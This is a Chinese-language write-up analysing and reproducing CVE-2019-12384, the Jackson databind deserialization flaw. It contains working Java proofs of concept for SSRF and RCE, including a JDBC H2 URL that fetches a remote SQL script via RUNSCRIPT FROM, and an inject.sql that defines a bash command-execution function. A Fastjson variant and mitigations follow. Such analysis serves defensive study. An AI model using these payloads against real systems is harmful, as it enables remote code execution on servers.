CVE-2019-12384漏洞分析及复现
字数 810 2025-08-18 11:38:49

CVE-2019-12384漏洞分析与复现指南

漏洞概述

CVE-2019-12384是Jackson反序列化漏洞,影响Jackson databind组件。该漏洞允许攻击者通过精心构造的JSON数据实现远程代码执行(RCE)或服务器端请求伪造(SSRF)。

环境准备

依赖组件

  • Jackson databind: 2.9.8版本
  • logback-core: 1.3.0-alpha4版本
  • h2数据库: 1.4.199版本

Maven依赖配置

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.9.8</version>
</dependency>

<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-core</artifactId>
    <version>1.3.0-alpha4</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>1.4.199</version>
    <scope>test</scope>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>1.4.199</version>
    <scope>compile</scope>
</dependency>

漏洞复现

Java实现代码

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;

public class JackonSerial {
    public static void main(String[] args) throws Exception {
        // 必须实例化Driver否则会报错
        Class.forName("org.h2.Driver").newInstance();
        
        System.out.println("Mapping");
        
        // SSRF复现payload
        String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";
        
        // RCE复现payload
        String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
        
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        
        System.out.println("Serializing");
        Object obj = mapper.readValue(jsonStr1, java.lang.Object.class);
        System.out.println("objectified");
        System.out.println("stringified: " + mapper.writeValueAsString(obj));
    }
}

SQL注入文件(inject.sql)

CREATE ALIAS SHELLEXEC AS 
$$
 String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$
;
CALL SHELLEXEC('open /Applications/Calculator.app/')

漏洞分析

SSRF漏洞原理

Jackson在序列化时会循环调用序列化对象所属类的每一个get方法。当调用getConnection()方法时,会进一步调用DriverManager从而连接远程数据库,导致SSRF。

关键代码:

public Connection getConnection() throws SQLException {
    return this.getUser() == null ? 
        DriverManager.getConnection(this.url) : 
        DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
}

RCE漏洞原理

利用H2数据库的内存操作特性:

  • jdbc:h2:mem:用于操作内存表
  • RUNSCRIPT FROM 'http://localhost/inject.sql'执行远程SQL文件
  • SQL文件中定义Java函数并通过CALL调用,实现代码执行

Fastjson中的类似利用

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}";
        JSONObject json = JSON.parseObject(payload);
        json.toJSONString();
    }
}

漏洞利用限制

  1. 依赖问题:需要同时依赖logback-core和h2两个jar包
  2. 触发条件:漏洞是在序列化恶意对象时触发的,而Jackson在Web应用中主要用于反序列化前端传入的JSON数据

防御措施

  1. 升级Jackson databind到安全版本
  2. 禁用Jackson的default typing功能
  3. 实施严格的反序列化白名单控制
  4. 避免在生产环境中使用不必要的数据库驱动

总结

CVE-2019-12384展示了反序列化漏洞的潜在危害,虽然利用条件较为苛刻,但一旦满足条件可导致严重的RCE或SSRF漏洞。开发人员应重视反序列化操作的安全性,采取适当的防护措施。

CVE-2019-12384漏洞分析与复现指南 漏洞概述 CVE-2019-12384是Jackson反序列化漏洞,影响Jackson databind组件。该漏洞允许攻击者通过精心构造的JSON数据实现远程代码执行(RCE)或服务器端请求伪造(SSRF)。 环境准备 依赖组件 Jackson databind : 2.9.8版本 logback-core : 1.3.0-alpha4版本 h2数据库 : 1.4.199版本 Maven依赖配置 漏洞复现 Java实现代码 SQL注入文件(inject.sql) 漏洞分析 SSRF漏洞原理 Jackson在序列化时会循环调用序列化对象所属类的每一个get方法。当调用 getConnection() 方法时,会进一步调用 DriverManager 从而连接远程数据库,导致SSRF。 关键代码: RCE漏洞原理 利用H2数据库的内存操作特性: jdbc:h2:mem: 用于操作内存表 RUNSCRIPT FROM 'http://localhost/inject.sql' 执行远程SQL文件 SQL文件中定义Java函数并通过 CALL 调用,实现代码执行 Fastjson中的类似利用 漏洞利用限制 依赖问题 :需要同时依赖logback-core和h2两个jar包 触发条件 :漏洞是在序列化恶意对象时触发的,而Jackson在Web应用中主要用于反序列化前端传入的JSON数据 防御措施 升级Jackson databind到安全版本 禁用Jackson的default typing功能 实施严格的反序列化白名单控制 避免在生产环境中使用不必要的数据库驱动 总结 CVE-2019-12384展示了反序列化漏洞的潜在危害,虽然利用条件较为苛刻,但一旦满足条件可导致严重的RCE或SSRF漏洞。开发人员应重视反序列化操作的安全性,采取适当的防护措施。